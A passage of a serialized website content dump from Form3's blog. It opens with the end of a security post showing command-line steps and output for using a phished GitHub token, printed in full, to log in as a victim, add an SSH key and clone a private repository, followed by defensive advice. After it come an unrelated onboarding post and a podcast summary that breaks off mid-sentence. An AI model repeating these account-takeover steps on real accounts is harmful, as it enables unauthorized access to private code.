--with-token\nghu_h9YFdUN9vbK6KttWVn2ZrFU0qrn0eA4O5AHS",[],"code_block$4355ccbc-8936-420b-9982-ef4b064d0556",{"variation":459,"version":460,"items":5911,"primary":5912,"id":5918,"slice_type":479,"slice_label":13},[],{"body":5913},[5914],{"type":396,"text":5915,"spans":5916},"To verify the current authentication status of the GitHub CLI we can use the gh auth status command.",[5917],{"start":708,"end":1984,"type":780},"rich_text$3233873f-511e-43ac-a0d9-7e27683b0ae4",{"variation":459,"version":460,"items":5920,"primary":5921,"id":5926,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5922},[5923],{"type":563,"text":5924,"spans":5925},"$ gh auth status\ngithub.com\n  ✓ Logged in to github.com as target-user (oauth_token)\n  ✓ Git operations for github.com configured to use https protocol.\n  ✓ Token: *******************",[],"code_block$fa53106e-eb86-49a0-910c-211a323087fe",{"variation":459,"version":460,"items":5928,"primary":5929,"id":5939,"slice_type":479,"slice_label":13},[],{"body":5930},[5931,5934],{"type":396,"text":5932,"spans":5933},"Now that we have logged in to GitHub as target-user we can add a new SSH to access the target user private repos.",[],{"type":396,"text":5935,"spans":5936},"First generate a new public\u002Fprivate rsa key pair in the \\tmp folder using the ssh-keygen command.",[5937,5938],{"start":662,"end":2103,"type":780},{"start":601,"end":519,"type":780},"rich_text$9961506d-42c8-4446-859c-841664993451",{"variation":459,"version":460,"items":5941,"primary":5942,"id":5947,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5943},[5944],{"type":563,"text":5945,"spans":5946},"$ ssh-keygen\nGenerating public\u002Fprivate rsa key pair.\nEnter file in which to save the key (\u002Fhome\u002Fcodespace\u002F.ssh\u002Fid_rsa): \u002Ftmp\u002Fid_rsa\nEnter passphrase (empty for no passphrase): \nEnter same passphrase again: \nYour identification has been saved in \u002Ftmp\u002Fid_rsa\nYour public key has been saved in \u002Ftmp\u002Fid_rsa.pub\nThe key fingerprint is:\nSHA256:3RZsuAP3dK16vndv+QCUC4SkC0VORDq4SPVS4ozHnY0 codespace@codespaces-d0244c\nThe key's randomart image is:\n+---[RSA 3072]----+\n|   o =*....      |\n|  *.==+... o . . |\n| o.*+Eo.. + B . .|\n|.....o . + O + . |\n|. .   . S + * .  |\n|           o o   |\n|            . o .|\n|             o o+|\n|              o+*|\n+----[SHA256]-----+",[],"code_block$b41b76df-ed97-4f50-a494-db119ee37958",{"variation":459,"version":460,"items":5949,"primary":5950,"id":5955,"slice_type":479,"slice_label":13},[],{"body":5951},[5952],{"type":396,"text":5953,"spans":5954},"Add the SSH key to the target user GitHub account.",[],"rich_text$77f2457b-7a73-4fb5-994c-29eb5b2cf1c9",{"variation":459,"version":460,"items":5957,"primary":5958,"id":5963,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5959},[5960],{"type":563,"text":5961,"spans":5962},"$ gh ssh-key add \u002Ftmp\u002Fid_rsa.pub\n✓ Public key added to your account",[],"code_block$f7062515-5d42-4c2c-9d68-7962131501fa",{"variation":459,"version":460,"items":5965,"primary":5966,"id":5971,"slice_type":479,"slice_label":13},[],{"body":5967},[5968],{"type":396,"text":5969,"spans":5970},"To verify list the SSH keys in the GitHub account.",[],"rich_text$ba6eb48e-8c88-4ccd-886c-8627364605bd",{"variation":459,"version":460,"items":5973,"primary":5974,"id":5979,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5975},[5976],{"type":563,"text":5977,"spans":5978},"$ gh ssh-key list\nTITLE                        ID        KEY                                                                                                                                                                                                                                                                                                 ADDED\ncodespace@codespaces-d0244c  76923897  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQUIfwh\u002FzlGM2jckjX4VGkN7W5fUowuco8lJdMLtTz8WtA7vhpWSK+KyBBASJfFqpT1JqJx3Wxiy5ReTfJ\u002FXAN4Um4rmofjoEgX5pVrl6M...LEWhT3LMzt6bru8oPMnK2P8dNNylimo\u002FXdlpFBzQWgI\u002Fa1LL38rGhlC0PgEBJjNebcLRVIVpUu\u002FIvjBvd8Jdt8xgPjebi60BGXHDfrWxdA52ZVudvUw2XiGU9rdeMzwGZCYjMRnMG\u002F++Wc=  0m",[],"code_block$3bf8daea-d773-4231-ab1f-19401af96d33",{"variation":459,"version":460,"items":5981,"primary":5982,"id":5987,"slice_type":479,"slice_label":13},[],{"body":5983},[5984],{"type":396,"text":5985,"spans":5986},"Change to permissions of the private key.",[],"rich_text$6fa7ad6c-c33e-49aa-b87e-32b71aad4f95",{"variation":459,"version":460,"items":5989,"primary":5990,"id":5995,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5991},[5992],{"type":563,"text":5993,"spans":5994},"$ chmod 600 \u002Ftmp\u002Fid_rsa",[],"code_block$d8dbeb68-d71b-481f-8fc7-d8787ac53678",{"variation":459,"version":460,"items":5997,"primary":5998,"id":6003,"slice_type":479,"slice_label":13},[],{"body":5999},[6000],{"type":396,"text":6001,"spans":6002},"Finally, use the SSH key to clone the target user private repository.",[],"rich_text$caf0d259-5427-4649-bb1d-0c798ce62f09",{"variation":459,"version":460,"items":6005,"primary":6006,"id":6011,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6007},[6008],{"type":563,"text":6009,"spans":6010},"$ GIT_SSH_COMMAND='ssh -i \u002Ftmp\u002Fid_rsa -o IdentitiesOnly=yes' git clone git@github.com:target-user\u002Fprivate.git\nCloning into 'private'...\nWarning: Permanently added the ECDSA host key for IP address '140.82.121.3' to the list of known hosts.\nremote: Enumerating objects: 8, done.\nremote: Counting objects: 100% (8\u002F8), done.\nremote: Compressing objects: 100% (6\u002F6), done.\nremote: Total 8 (delta 0), reused 5 (delta 0), pack-reused 0\nReceiving objects: 100% (8\u002F8), done.",[],"code_block$dfd2a3a2-6053-4c74-a370-a0181450ff8c",{"variation":459,"version":460,"items":6013,"primary":6014,"id":6019,"slice_type":479,"slice_label":13},[],{"body":6015},[6016],{"type":396,"text":6017,"spans":6018},"We succeeded! We were able to carry out a campaign using only our phone without any cost!",[],"rich_text$63cfe097-bafe-489e-a867-f58ad658746e",{"variation":459,"version":460,"items":6021,"primary":6022,"id":6027,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6023},[6024],{"type":563,"text":6025,"spans":6026},"$ cat private\u002FREADME.md\nPrivate repository!",[],"code_block$b8e38edd-cc55-4508-a19b-d936ab52d7dd",{"variation":459,"version":460,"items":6029,"primary":6030,"id":6061,"slice_type":479,"slice_label":13},[],{"body":6031},[6032,6034,6037,6040,6045,6050,6056],{"type":465,"text":4469,"spans":6033},[],{"type":396,"text":6035,"spans":6036},"GitHub Apps can be a powerful tool for automating tasks and integrating with other tools and services, but it's important to be aware of the potential for abuse and to take steps to protect yourself and your organization. Only install apps from trusted sources and never provide your GitHub tokens to an app or service unless you are sure that it is legitimate. If you suspect that an app is trying to phish for your GitHub tokens, report it to GitHub immediately.",[],{"type":1097,"text":6038,"spans":6039},"Read more",[],{"type":1101,"text":5520,"spans":6041},[6042],{"start":17,"end":1998,"type":744,"data":6043},{"link_type":453,"url":6044},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Fdevelopers\u002Fapps\u002Fgetting-started-with-apps\u002Fabout-apps",{"type":1101,"text":6046,"spans":6047},"GitHub Codespaces",[6048],{"start":17,"end":967,"type":744,"data":6049},{"link_type":453,"url":5654},{"type":1101,"text":6051,"spans":6052},"Hardening your GitHub Enterprise Server",[6053],{"start":17,"end":587,"type":744,"data":6054},{"link_type":453,"url":6055},"https:\u002F\u002Fgithub.blog\u002F2020-07-20-hardening-your-github-enterprise-server\u002F",{"type":1101,"text":6057,"spans":6058},"Abusing a GitHub Codespaces Feature For Malware Delivery",[6059],{"start":17,"end":662,"type":744,"data":6060},{"link_type":453,"url":5660},"rich_text$d21ad3f7-f31b-4d17-ab63-9a415919280a",{"id":6063,"uid":6064,"url":6065,"type":406,"href":6066,"tags":6067,"first_publication_date":4891,"last_publication_date":4892,"slugs":6068,"linked_documents":6070,"lang":386,"alternate_languages":6071,"data":6072},"alz03REAACgAUWaz","first-month-swe","\u002Fresources\u002Fengineering-blog\u002Ffirst-month-swe","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz03REAACgAUWaz%22%29+%5D%5D",[],[6069],"how-i-got-to-form3",[],[],{"title":6073,"excerpt":6074,"card_image":6075,"published_date":6080,"reading_time":672,"tag":427,"dek":6074,"featured_image":6081,"about_form3":6086,"client_about_heading":13,"client_about_body":6087,"author_name":6088,"author_title":6089,"author_photo":6090,"author_bio":6095,"author_linkedin":6103,"slices":6106,"meta_title":6073,"meta_description":6074},"My first month as a Senior Engineer at Form3","It's always daunting moving jobs. In this post, Chris Townsend shares insights into his first month as a Senior Software Engineer at Form3. He talks us through his reasons for joining, the interview process and his onboarding experience, as well as what his future career aspirations are.",{"dimensions":6076,"alt":6073,"copyright":13,"url":6077,"id":6078,"edit":6079},{"width":420,"height":420},"\u002F_prismic-media\u002Fd279260d26e5471b-kwmTtECpVpzIQoSK_first-month-swe.png","kwmTtECpVpzIQoSK",{"x":17,"y":17,"zoom":18,"background":19},"2023-01-25",{"dimensions":6082,"alt":13,"copyright":13,"url":6083,"id":6084,"edit":6085},{"width":1270,"height":1271},"\u002F_prismic-media\u002F1c47b4ecc790b3eb-UVMcfT6fqWoIM4g-_f12fb4ac-fec7-4cc2-92d6-c238f66.jpg","UVMcfT6fqWoIM4g-",{"x":17,"y":17,"zoom":18,"background":424},[],[],"Chris Townsend","Senior Software Engineer",{"dimensions":6091,"alt":6088,"copyright":13,"url":6092,"id":6093,"edit":6094},{"width":443,"height":1281},"\u002F_prismic-media\u002F048f636a49b5fce4-BNiJs8qsJI9v7oWx_128ce999-24a4-47a9-8d8b-03a5453.jpeg","BNiJs8qsJI9v7oWx",{"x":17,"y":17,"zoom":18,"background":424},[6096],{"type":396,"text":6097,"spans":6098},"Chris Townsend is a Senior Software Engineer at Form3, based in Malvern, Worcestershire. He's been a software engineer for over 9 years including PHP and JavaScript. He's been a Gopher for 3 years and counting. You can view his blog here.",[6099],{"start":1606,"end":6100,"type":744,"data":6101},237,{"link_type":453,"url":6102,"target":456},"https:\u002F\u002Fmedium.com\u002F@townsyio",{"link_type":453,"key":6104,"url":6105,"target":456},"07653478-cd7d-41aa-b733-518c1afdce41","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Ftownsy\u002F",[6107,6161,6255,6278],{"variation":459,"version":460,"items":6108,"primary":6109,"id":6160,"slice_type":479,"slice_label":13},[],{"body":6110},[6111,6114,6117,6127,6130,6136,6142,6145,6148,6151,6154,6157],{"type":465,"text":6112,"spans":6113},"How I got to Form3",[],{"type":396,"text":6115,"spans":6116},"It all started when a recruiter from Form3 contacted me on LinkedIn about 12 months before I started. I wasn't looking for a new role at the time. I was working in Lisbon and enjoying the project I was working on. They wished me luck with my project and told me to reach out if my situation changed.",[],{"type":396,"text":6118,"spans":6119},"Six months on since that first conversation, I've seen Form3 blogs and sponsorship at GopherCon and had become a fan of the Form3 Tech podcast. I'd developed a hunger to find out more. The tech culture was something that was very important to me, and seeing Form3 making ground in the payments world peaked my interest. ️So I reached out to Form3 to find out more.",[6120,6123],{"start":590,"end":641,"type":744,"data":6121},{"link_type":453,"url":6122,"target":456},"https:\u002F\u002Fwww.gophercon.com\u002F",{"start":6124,"end":1541,"type":744,"data":6125},124,{"link_type":453,"url":6126},"https:\u002F\u002Ftechpodcast.form3.tech\u002F",{"type":396,"text":6128,"spans":6129},"It all started with a informal chat with a Form3 recruiter over Zoom, which was super easy to schedule as they use a calendar booking service. The recruiter was also very open with salary banding from the very start, this no nonsense transparency was really attractive to me.",[],{"type":396,"text":6131,"spans":6132},"During the informal chat, I heard about Form3, what they did, the tech stack, and pointed me to the engineering website. I was asked questions about my background, they complimented any experience that would match up well working at Form3, but also reassured me of the tech I was less skilled with. It all went well, so I was then sent the Form3 tech test.",[6133],{"start":1792,"end":742,"type":744,"data":6134},{"link_type":453,"url":6135},"https:\u002F\u002Fwww.form3.tech\u002Fengineering",{"type":396,"text":6137,"spans":6138},"The next step was the tech test task. You can check out the task I was assigned here. Even if you are not familiar with using Go; the team reviewing your test will take this into account.",[6139],{"start":688,"end":640,"type":744,"data":6140},{"link_type":453,"url":6141,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Finterview-accountapi",{"type":396,"text":6143,"spans":6144},"The interview I was part of had 3 parts:",[],{"type":1101,"text":6146,"spans":6147},"Informal chat about the tech test",[],{"type":1101,"text":6149,"spans":6150},"Networking questions",[],{"type":1101,"text":6152,"spans":6153},"On-call scenario",[],{"type":396,"text":6155,"spans":6156},"Everyone I met during the interview was friendly, it never felt like a question and then answer situation, it was more of a flowing conversation.",[],{"type":396,"text":6158,"spans":6159},"The interview was great because I got to learn lots about Form3, how they work, and get to know some people I would work with. It gave me insight into to the engineering culture and the interesting problems engineers face here. When I received my offer to join, it was precisely the offer that was communicated to me at the start of the process, and with everything I had learnt about Form3, I was very happy to accept.",[],"rich_text$9422bbd7-3e32-46b6-80aa-04f20c6976a9",{"variation":459,"version":460,"items":6162,"primary":6163,"id":6254,"slice_type":479,"slice_label":13},[],{"body":6164},[6165,6168,6174,6177,6180,6183,6191,6194,6197,6200,6203,6206,6209,6212,6215,6218,6221,6224,6227,6230,6233,6236,6239,6242,6245,6248,6251],{"type":465,"text":6166,"spans":6167},"Life at Form3",[],{"type":396,"text":6169,"spans":6170},"There is a lot to cover in my first few weeks, but I'll try to cover as much as I can here. If you do have any questions, then please feel free to reach out to me at LinkedIn.",[6171],{"start":2537,"end":432,"type":744,"data":6172},{"link_type":453,"url":6173},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Ftownsy",{"type":396,"text":6175,"spans":6176},"My equipment was actually delivered a couple of weeks before my first day, which gave me plenty of time to use my work from home setup allowance.",[],{"type":396,"text":6178,"spans":6179},"Form3 takes security very seriously, so there are some procedures to follow. Everything was very easy to set up. Although Form3 has a very high security standard, I don't feel restricted in any way.",[],{"type":1097,"text":6181,"spans":6182},"First day",[],{"type":396,"text":6184,"spans":6185},"On my first day, I met my Team Lead, who helped me get started with my onboarding and answered all the questions I had. The first real task was getting my Github account set up, so I could access all the onboarding material and documentation managed by the engineers. Form3 practises what they preach about infrastructure as code, so this is all done via Terraform. Once this is all provisioned, you are ready to go 🚀.",[6186],{"start":6187,"end":6188,"type":744,"data":6189},355,364,{"link_type":453,"url":6190},"https:\u002F\u002Fwww.terraform.io\u002F",{"type":396,"text":6192,"spans":6193},"Slack is the main instant communication tool, I was added to all my team's channels, I also took the time to check out the social channels. I'm now a proud member of:",[],{"type":1101,"text":6195,"spans":6196},"#whatsforlunch",[],{"type":1101,"text":6198,"spans":6199},"#sportschannel",[],{"type":1101,"text":6201,"spans":6202},"#gaming",[],{"type":396,"text":6204,"spans":6205},"I spent the rest of the day configuring the IDE, terminal, and zsh, as well as reading the first sections of the onboarding guide documentation.",[],{"type":1097,"text":6207,"spans":6208},"First few weeks",[],{"type":396,"text":6210,"spans":6211},"In my first few weeks, I had a number of meetings to introduce areas of Form3. These meetings consisted of",[],{"type":1101,"text":6213,"spans":6214},"Introduction to DevSecOps",[],{"type":1101,"text":6216,"spans":6217},"Introduction to my team",[],{"type":1101,"text":6219,"spans":6220},"Introduction to Payments and finance fundamentals",[],{"type":1101,"text":6222,"spans":6223},"Tech events and evangelist team introduction (That's how I got to write this post 😊)",[],{"type":396,"text":6225,"spans":6226},"All of these meetings lasted an hour or less and were informal. The hosts were always open for questions throughout, I learned a lot. I was particularly impressed with the product team and how well they know their markets.",[],{"type":396,"text":6228,"spans":6229},"We like to pair at Form3, so I would pair most days with my onboarding buddy when I wasn't following the onboarding plan. I was shown a huge amount of patience and understanding for my 100+ of questions about engineering at Form3.",[],{"type":396,"text":6231,"spans":6232},"By pairing, I was able to get started very quickly on a ticket. My buddy was doing most of the driving, but I was able to contribute to the feature. At Form3, we have a bunch of tooling to make an engineer's life a bit easier, so pairing is streamlined by these tools.",[],{"type":4851,"text":6234,"spans":6235},"Demos",[],{"type":396,"text":6237,"spans":6238},"Every week my team run demo sessions. These are a place where we can talk about the code we have merged, run through our integration test cases to ensure we covered the acceptance criteria on our tickets and perform a live demo of the feature. I've really enjoyed our demos as it gives insight to what other work is being done in the sub-teams, and a chance to really test your feature. Features are very specific and are usually associated with happy\u002Funhappy paths.",[],{"type":4851,"text":6240,"spans":6241},"BAs and Product Team",[],{"type":396,"text":6243,"spans":6244},"Engineers work closely with Business Analysts (BAs) to support understanding the features. This gives engineers opportunity to raise concerns, edge cases or other questions that may come up during the implementation. In my career, I don't think I've ever worked with such knowledgeable BAs. As an engineer I like to really understand what I'm working on, but given the complexities of the payment schemes, I'm grateful to have these team members on board.",[],{"type":4851,"text":6246,"spans":6247},"Flexible Remote Working",[],{"type":396,"text":6249,"spans":6250},"Flexible remote working at Form3 is actually flexible remote working 😅. I know this is an odd thing to say, but from experience it's not always the case. At Form3, I'm really able to fit my life around work. Most group meetings are recorded, so if I can't make a meeting I can still access it. If it's a team discussion meeting and I'm not able to make a specific time, we can move the meeting or create a working document to discuss it asynchronously.",[],{"type":396,"text":6252,"spans":6253},"Working at Form3, I know that if I need to go to the doctor, take the dog for a walk at a specific time, have a two-hour lunch to go to the gym, or arrange childcare, I can do so. It makes me feel good working here, I'm performing at my best, and I have a work \u002F life balance!",[],"rich_text$0dd7aab2-84f0-4be4-b43f-746c7a472742",{"variation":459,"version":460,"items":6256,"primary":6257,"id":6277,"slice_type":479,"slice_label":13},[],{"body":6258},[6259,6262,6265,6268,6271,6274],{"type":465,"text":6260,"spans":6261},"Highlights",[],{"type":396,"text":6263,"spans":6264},"So far, my Form3 experience has been fantastic, but if I had to pick the highlights, they would have to be (in no particular order). order)",[],{"type":1101,"text":6266,"spans":6267},"Remote Working",[],{"type":1101,"text":6269,"spans":6270},"Working with hugely talented people",[],{"type":1101,"text":6272,"spans":6273},"Learning and development",[],{"type":1101,"text":6275,"spans":6276},"Tooling and documentation",[],"rich_text$abc0bb77-e6b1-4cdd-8f51-bf8052ae8f1f",{"variation":459,"version":460,"items":6279,"primary":6280,"id":6303,"slice_type":479,"slice_label":13},[],{"body":6281},[6282,6285,6288,6291,6294,6297,6300],{"type":465,"text":6283,"spans":6284},"My Future and Aspirations at Form3",[],{"type":396,"text":6286,"spans":6287},"Not only does Form3 have great problems to solve, but it gives me an opportunity to change the world of payments. I'm hoping in the future, me at Form3 will have:",[],{"type":1101,"text":6289,"spans":6290},"Contributed to the launch of a new payments service on our platform",[],{"type":1101,"text":6292,"spans":6293},"Learn, learn and learn from the super intelligent people here. I hope I can teach them a couple of things too! 🤓",[],{"type":1101,"text":6295,"spans":6296},"Give a talk at a conference 🎤",[],{"type":1101,"text":6298,"spans":6299},"Support and grow other new starters and make them feel just as welcome as I have",[],{"type":1101,"text":6301,"spans":6302},"In the longer term, I aspire to progress to a Staff Engineer role",[],"rich_text$84eff983-956a-4ea2-916f-daa996db59f5",{"id":6305,"uid":6306,"url":6307,"type":406,"href":6308,"tags":6309,"first_publication_date":6310,"last_publication_date":6311,"slugs":6312,"linked_documents":6314,"lang":386,"alternate_languages":6315,"data":6316},"alz04BEAACwAUWa7","podcast-async-reviews","\u002Fresources\u002Fengineering-blog\u002Fpodcast-async-reviews","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz04BEAACwAUWa7%22%29+%5D%5D",[],"2026-07-19T16:21:57+0000","2026-08-27T02:06:58+0000",[6313],"ep-39-.tech---alternatives-to-async-code-reviews",[],[],{"title":6317,"excerpt":6318,"card_image":6319,"published_date":6324,"reading_time":667,"tag":427,"dek":6318,"featured_image":6325,"about_form3":6331,"client_about_heading":13,"client_about_body":6332,"author_name":1277,"author_title":1278,"author_photo":6333,"author_bio":6336,"author_linkedin":6339,"slices":6341,"meta_title":6317,"meta_description":6318},".tech Podcast - Alternatives to async code reviews","Dragan Stepanović is a Senior Principal Engineer at Talabat. He joins Renato Rodrigues de Araujo, Senior Software Engineer at Form3, to discuss asynchronous pull request based code reviews. Dragan shares a study he conducted on the topic and discusses the advantages of synchronous team collaboration.",{"dimensions":6320,"alt":6317,"copyright":13,"url":6321,"id":6322,"edit":6323},{"width":420,"height":420},"\u002F_prismic-media\u002Ffae80344c35300de-vu_3YiCPKrXcWePH_podcast-async-reviews.png","vu_3YiCPKrXcWePH",{"x":17,"y":17,"zoom":18,"background":19},"2023-01-19",{"dimensions":6326,"alt":6327,"copyright":13,"url":6328,"id":6329,"edit":6330},{"width":1270,"height":2672},"Alternatives to async code reviews","\u002F_prismic-media\u002F3bac9c4050bf32dd-yIyvvTwSdDt6boJl_f786da29-c583-4803-824b-29c903c.png","yIyvvTwSdDt6boJl",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":6334,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":6335},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[6337],{"type":396,"text":1287,"spans":6338},[],{"link_type":453,"key":6340,"url":1291,"target":456},"dc9baac9-c750-4c49-bd78-7c568fd37794",[6342,6362,6396,6452,6487,6516,6533],{"variation":459,"version":481,"items":6343,"primary":6344,"id":6361,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":6345,"body":6349,"cta_label":1304,"cta_link":6352,"aside_type":13,"aside_image":6355,"aside_video":6356,"aside_video_poster":6357,"aside_video_reduced_motion":6358,"aside_video_url":13,"aside_embed":6359,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":6360,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[6346],{"type":465,"text":6347,"spans":6348},"Ep 39 .tech - Alternatives to async code reviews",[],[6350],{"type":396,"text":1302,"spans":6351},[],{"link_type":453,"key":6353,"url":6354},"f46c0f0e-4666-4b95-8efa-e5a19fcc2975","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-39-tech-alternatives-to-async-code-reviews-k6i0KF_m",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$89812b0b-feb2-4718-a833-4ae506e85011",{"variation":459,"version":460,"items":6363,"primary":6364,"id":6395,"slice_type":479,"slice_label":13},[],{"body":6365},[6366,6387],{"type":396,"text":6367,"spans":6368},"Dragan Stepanović is a Senior Principal Engineer at Talabat. Dragan has experience working at different sizes of companies, from small to large corporates. He became interested in Extreme Programming (XP) early on in his career. Then, he started diving into architecture, Domain Driven Design (DDD) and LEAN as tools to enable engineers to maximise their throughput for their stakeholders.",[6369,6372,6375,6379,6384],{"start":17,"end":967,"type":744,"data":6370},{"link_type":453,"url":6371},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdstepanovic\u002F",{"start":547,"end":2019,"type":744,"data":6373},{"link_type":453,"url":6374},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Ftalabat-com\u002F",{"start":6376,"end":2357,"type":744,"data":6377},180,{"link_type":453,"url":6378},"http:\u002F\u002Fwww.extremeprogramming.org\u002F",{"start":6380,"end":6381,"type":744,"data":6382},272,298,{"link_type":453,"url":6383},"https:\u002F\u002Fmartinfowler.com\u002Fbliki\u002FDomainDrivenDesign.html",{"start":2085,"end":3827,"type":744,"data":6385},{"link_type":453,"url":6386},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=OAeq6kaZS_w",{"type":396,"text":6388,"spans":6389},"Renato Rodrigues de Araujo is a Senior Software Engineer at Form3. Renato is part of the Tooling Team, which is responsible for making the lives of engineers easier by maintaining internal tools.",[6390,6393],{"start":17,"end":596,"type":744,"data":6391},{"link_type":453,"url":6392},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Frenatoraraujo\u002F",{"start":2103,"end":1557,"type":744,"data":6394},{"link_type":453,"url":1328},"rich_text$d54e0623-9218-47dc-a3a5-eb83bae350b9",{"variation":459,"version":460,"items":6397,"primary":6398,"id":6451,"slice_type":479,"slice_label":13},[],{"body":6399},[6400,6403,6409,6412,6415,6418,6421,6424,6427,6430,6434,6437,6440],{"type":465,"text":6401,"spans":6402},"Introduction to async code reviews",[],{"type":396,"text":6404,"spans":6405},"Dragan explains that async code reviews are a way of working that is closely related to the pull request (PR) based model.",[6406],{"start":1508,"end":5381,"type":744,"data":6407},{"link_type":453,"url":6408},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Fpull-requests\u002Fcollaborating-with-pull-requests\u002Fproposing-changes-to-your-work-with-pull-requests\u002Fabout-pull-requests",{"type":396,"text":6410,"spans":6411},"The process usually consists of:",[],{"type":1101,"text":6413,"spans":6414},"At the start of the sprint, one developer starts working on a feature, writing the code and tests.",[],{"type":1101,"text":6416,"spans":6417},"Once they are satisfied, they invite other engineers in their team to give them feedback.",[],{"type":1101,"text":6419,"spans":6420},"The developer then raises a PR with the changes that they've made and invite their team mates.",[],{"type":1101,"text":6422,"spans":6423},"Those invited to give feedback are not usually available immediately, so the review typically does not happen immediately.",[],{"type":1101,"text":6425,"spans":6426},"As the author waits for their team feedback, they typically start working on another feature or piece of work.",[],{"type":1101,"text":6428,"spans":6429},"The review process goes back and forth between the author and their team with a delay.",[],{"type":1101,"text":6431,"spans":6432},"The async code review process inherently involves delays in the process, as reviewers ask for changes and authors then have to incorporate them later when time allows.",[6433],{"start":598,"end":662,"type":477},{"type":1101,"text":6435,"spans":6436},"At the end, the PR becomes approved and the change becomes incorporated in the main\u002Ftrunk branch.",[],{"type":396,"text":6438,"spans":6439},"The pull request based async code review model of working has been adopted from the open source community, which tends to be a very different context than we have in typical product development teams. This is now the most popular way of delivering features.",[],{"type":396,"text":6441,"spans":6442},"Renato shares that Form3 uses a mixture of practices due to the nature of the business. As Form3 deals with sensitive financial data, some changes require verification by specialists outside the team. The teams do maintain their own repositories and approve as many changes internally as possible. For time sensitive changes, teams use pairing and mobbing sessions to accelerate the development and review process, mitigationg some of the delays usually incurred by async code reviews.",[6443,6447],{"start":6444,"end":1960,"type":744,"data":6445},336,{"link_type":453,"url":6446},"https:\u002F\u002Fmartinfowler.com\u002Farticles\u002Fon-pair-programming.html",{"start":6448,"end":6188,"type":744,"data":6449},348,{"link_type":453,"url":6450},"https:\u002F\u002Fwww.agilealliance.org\u002Fresources\u002Fexperience-reports\u002Fmob-programming-agile2014","rich_text$ada81eb0-e4c5-4ff1-b6b2-717ebd31e690",{"variation":459,"version":460,"items":6453,"primary":6454,"id":6486,"slice_type":479,"slice_label":13},[],{"body":6455},[6456,6459,6465,6468,6476,6482],{"type":465,"text":6457,"spans":6458},"Async code review study",[],{"type":396,"text":6460,"spans":6461},"Driven by a want to help teams improve their ways of working, Dragan has conducted a study on async code reviews. Based on his experience with extreme programming which involves a lot of collaboration, he wanted to see how he could improve their development process and shorten delays.",[6462],{"start":1406,"end":1792,"type":744,"data":6463},{"link_type":453,"url":6464},"https:\u002F\u002Fwww.infoq.com\u002Farticles\u002Fco-creation-patterns-software-development\u002F",{"type":396,"text":6466,"spans":6467},"The study consists of analysing more than 40000 PRs in over 40 very active repositories in typical product development teams. The significant study highlighted some interesting insights. One of the most surprising findings is around the delays incurred by PRs.",[],{"type":396,"text":6469,"spans":6470},"The queue time or wait time represents the time that the pull request stays in an open state, not being worked on or reviewed. The study plotted the correlation of PR size to wait time in a scatterplot. The systemic behaviour that emerged showed that the wait time per size increases exponentially.",[6471,6472,6473],{"start":667,"end":1342,"type":477},{"start":905,"end":2744,"type":477},{"start":6474,"end":6475,"type":477},251,297,{"type":396,"text":6477,"spans":6478},"Developers generally agree that big PRs are hard to understand and review and they should be avoided. However, keeping the PRs small improves the readability and review difficulty, but incurs exponentially long wait time per size, which is introduced by the delays of the async code reviews on multiple small PRs. This means that the system throughput also exponentially decreases. In a nutshell, small PRs actually increased delivery times when used together with async code reviews. This is definitely a surprising finding of the study.",[6479],{"start":6480,"end":6481,"type":477},334,351,{"type":396,"text":6483,"spans":6484},"Dragan shares that teams can easily collect these metrics in their own repositories by looking at the lead times of their PRs, which is time elapsed from the first commit to the time that the PR is merged. They can then plot these times against the size of the PR to gain insights into their ways of working.",[6485],{"start":900,"end":1792,"type":477},"rich_text$51440d89-2b3f-4db9-912c-99c1b3d4434f",{"variation":459,"version":460,"items":6488,"primary":6489,"id":6515,"slice_type":479,"slice_label":13},[],{"body":6490},[6491,6494,6497,6503,6506,6509,6512],{"type":465,"text":6492,"spans":6493},"Engineering team collaboration",[],{"type":396,"text":6495,"spans":6496},"Based on his extensive experience, Dragan can make some recommendations on team collaboration, aside from the imperfect practice of using async code reviews:",[],{"type":1101,"text":6498,"spans":6499},"Teams should shift the things that they optimise for and focus on flow efficiency, as opposed to resource efficiency. This change in focus will help teams optimise the lead times for customer delivery, as opposed to measuring how much work the individual developer is able to deliver. The concept of flow efficiency comes from the LEAN way of working.",[6500,6502],{"start":1520,"end":6501,"type":477},81,{"start":1512,"end":1443,"type":477},{"type":1101,"text":6504,"spans":6505},"As a progressive idea from async code reviews to more synchronous work, moving to a continuous code review helps to diminish the tradeoff between speed and quality. Teams should try to review PRs synchronously, as soon as the author raises it.",[],{"type":1101,"text":6507,"spans":6508},"The next step from synchronous code reviews is then to collaborate and make changes together. If you have everyone that you need working on the change, then you also have the expertise to review the change present as well.",[],{"type":1101,"text":6510,"spans":6511},"Teams should also set the expectations that they will focus on shortening lead times and improving the process of delivering customer value. This calls for changes in engineering culture, where engineers know that they will be working together. Everyone in the team should optimise for the same things to collaborate synchronously and 